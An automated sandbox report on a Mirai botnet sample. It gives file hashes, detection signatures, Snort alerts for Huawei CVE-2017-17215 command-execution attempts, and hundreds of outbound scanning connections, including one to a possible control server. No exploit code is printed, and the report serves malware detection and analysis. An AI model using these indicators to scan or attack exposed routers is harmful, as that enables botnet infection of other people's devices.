Linux Analysis Report
JdnjRc1VGX.elf

Overview

General Information

Sample name: JdnjRc1VGX.elf
renamed because original name is a hash value
Original sample name: 85afbf3263c5b34060735e51f34270ca.elf
Analysis ID: 1428822
MD5: 85afbf3263c5b34060735e51f34270ca
SHA1: e558e181b9ae9db9489ff7f1e82e2f84d5ac714e
SHA256: 84f65c6327ae71733314dd54c128518135eb07920a5a1bf4451de648f7c794b1
Tags: 64elfmirai
Infos:

Detection

Mirai
Score: 88
Range: 0 - 100
Whitelisted: false

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected Mirai
Connects to many ports of the same IP (likely port scanning)
Machine Learning detection for sample
Sample deletes itself
Uses known network protocols on non-standard ports
Detected TCP or UDP traffic on non-standard ports
ELF contains segments with high entropy indicating compressed/encrypted content
HTTP GET or POST without a user agent
Sample contains only a LOAD segment without any section mappings
Sample listens on a socket
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: JdnjRc1VGX.elf ReversingLabs: Detection: 31%
Machine Learning detection for sample
Source: JdnjRc1VGX.elf Joe Sandbox ML: detected

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55300 -> 197.148.94.38:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55300 -> 197.148.94.38:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35590 -> 197.3.217.200:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35590 -> 197.3.217.200:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53662 -> 41.47.99.68:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53662 -> 41.47.99.68:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36732 -> 41.180.76.2:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36732 -> 41.180.76.2:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43332 -> 35.241.12.193:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43332 -> 35.241.12.193:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40758 -> 34.36.69.67:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40758 -> 34.36.69.67:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55972 -> 103.212.229.33:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55972 -> 103.212.229.33:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51662 -> 172.65.215.22:37215
Source: Traffic Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51662 -> 172.65.215.22:37215
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 197.8.44.65 ports 1,2,3,5,7,37215
Source: global traffic TCP traffic: 197.4.31.177 ports 1,2,3,5,7,37215
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 55300 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 35590 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53662 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 53662
Source: unknown Network traffic detected: HTTP traffic on port 36732 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 36732
Source: unknown Network traffic detected: HTTP traffic on port 43332 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 40758 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 55972 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 55972 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 55972 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 55972 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 51662 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 55972 -> 37215
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.127.163.148:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.169.195.253:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.150.177.141:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 179.220.33.37:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.143.143.194:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.82.7.105:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 123.100.87.72:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 120.234.228.60:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.201.0.53:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 34.146.252.185:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.169.36.185:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 212.246.169.58:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 155.105.216.119:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.46.107.204:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.9.73.4:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.73.65.233:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 120.98.26.29:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 37.248.96.38:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 77.165.61.60:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.129.181.92:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.67.41.40:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.125.18.103:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.6.188.130:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.102.10.131:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.219.10.93:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 132.154.153.57:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.254.190.241:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.184.242.37:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 210.247.88.144:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.16.246.37:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.142.247.95:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.130.121.109:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 201.194.198.71:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.128.117.61:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.44.220.208:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.218.174.16:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 85.153.73.244:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.171.23.212:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.46.82.205:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 130.250.223.255:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.180.12.216:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 2.195.109.167:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.151.109.161:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.205.117.48:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.128.17.22:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 120.2.105.91:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.55.147.245:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.0.79.136:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.97.163.250:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 106.249.116.172:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.155.253.203:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.253.249.43:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.147.78.26:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.139.249.90:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.212.210.92:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.153.213.225:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.188.80.189:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 153.227.248.118:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 20.16.128.134:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 34.84.98.34:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.221.182.57:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.104.182.204:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.202.44.141:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.80.157.155:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.17.156.140:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 124.199.148.74:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 78.71.17.167:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.148.139.67:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.138.234.163:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.233.161.69:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.224.186.109:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.37.203.230:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.8.226.98:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.165.187.109:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.50.207.152:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.186.166.52:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.119.16.59:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.233.120.239:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 80.216.53.236:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.166.106.107:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 89.78.94.41:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.95.25.44:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.253.41.71:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.115.76.88:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.53.74.148:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.28.209.18:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.240.127.67:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.4.126.57:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.200.37.44:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.198.84.91:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 101.25.137.64:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.91.139.241:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.228.222.242:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 59.108.76.183:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.155.83.177:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.57.98.49:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.190.184.188:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 89.180.166.255:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.82.118.132:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 58.172.225.150:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.246.194.148:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.165.101.230:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.248.96.127:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.219.75.213:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.106.97.153:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.143.50.56:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.106.136.219:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.110.49.199:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.124.202.134:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.36.156.215:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.5.74.49:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 87.131.122.157:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.186.3.184:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.133.220.87:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 42.29.0.80:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.149.134.17:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.131.177.73:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.152.234.127:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.122.8.109:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.215.180.112:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.45.180.220:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.134.54.214:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.16.126.243:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.148.154.250:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.215.34.62:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.186.109.133:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.231.3.194:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.38.211.248:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.213.32.3:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.30.153.55:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.78.100.54:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 191.208.255.212:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.255.27.195:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.250.122.5:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.170.85.224:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.104.191.38:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 153.226.152.15:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.89.226.140:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.105.53.182:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.92.83.238:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 196.29.59.184:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.197.104.24:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 1.252.60.63:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.161.233.155:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.16.220.46:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 78.0.244.163:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.97.94.95:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.193.171.76:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 160.137.73.219:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 128.36.37.197:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.21.4.209:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 45.165.154.77:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.215.142.104:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 57.13.34.38:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 37.115.22.120:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 44.195.239.172:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.68.158.216:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.194.249.125:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.66.244.126:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.78.213.159:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.247.253.57:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.127.165.146:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.34.95.121:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.219.188.70:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.7.143.208:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.21.69.188:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.127.134.169:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.238.210.188:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.14.11.179:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.241.127.140:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.234.19.252:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.95.103.248:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.172.64.73:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 95.46.149.185:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 204.179.183.183:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.164.12.229:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.123.120.126:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.62.236.149:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 218.46.62.161:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.239.51.129:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 134.192.179.149:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 219.37.38.201:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.189.164.208:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.67.68.43:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.111.180.157:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 90.164.81.193:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.191.94.143:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 111.247.158.252:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.130.132.185:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.79.189.106:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.69.84.1:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.78.9.109:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.167.37.132:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 162.205.85.72:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 124.180.38.70:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 147.158.134.224:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.215.98.185:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 111.201.126.173:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.118.88.244:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.22.243.166:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.202.228.59:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.203.255.116:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.160.24.104:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.127.103.188:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.123.115.117:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.168.228.6:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.2.57.207:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.24.7.123:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.197.56.156:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.212.200.240:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.7.178.95:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.44.20.230:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.72.182.213:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.131.32.9:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.157.82.189:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.83.96.135:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.23.216.13:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.109.115.192:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.193.178.23:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.22.247.24:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.3.232.95:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.208.30.81:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.217.1.224:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 4.241.228.70:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.187.147.176:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.46.108.171:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 112.224.186.201:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.134.253.229:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.33.226.13:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.252.22.253:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.158.116.161:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.228.100.134:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.246.223.75:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.47.24.80:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.106.101.180:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.37.95.214:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.241.132.139:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.240.4.118:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.247.63.162:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.39.135.209:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 186.193.217.228:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.8.148.200:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.229.156.244:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.166.98.98:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.160.241.201:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.152.68.0:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.87.214.47:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.23.222.145:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.24.92.255:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.99.112.222:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.25.176.242:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.248.104.140:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.157.150.158:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.46.207.197:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.246.67.69:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.124.114.34:37215
Source: global traffic TCP traffic: 192.168.2.13:42666 -> 212.70.149.14:35342
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.213.165.22:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.50.131.165:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.117.168.249:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.39.252.53:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.137.76.241:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.205.212.204:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 105.72.129.253:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.118.233.218:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.247.239.150:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.175.16.49:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.210.68.181:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.78.113.91:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 153.239.99.148:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.121.210.112:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.116.218.85:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.249.147.82:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.19.151.157:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 136.10.85.251:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.118.82.62:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 173.145.51.118:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.229.51.37:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 168.100.34.112:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.212.90.80:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.121.125.17:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.203.142.22:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.230.113.156:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.158.231.230:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.24.107.104:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.86.139.40:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 160.234.44.214:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.219.234.123:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 37.192.230.63:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.52.69.245:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 107.208.162.219:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.20.222.188:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 122.67.215.7:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 157.39.223.206:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 126.76.39.3:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 119.49.171.244:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.73.25.164:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 177.79.60.176:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.223.246.104:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.47.89.196:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.192.131.154:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 65.205.208.1:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.70.7.201:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.112.120.195:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 197.154.243.181:37215
Source: global traffic TCP traffic: 192.168.2.13:42376 -> 41.72.125.239:37215
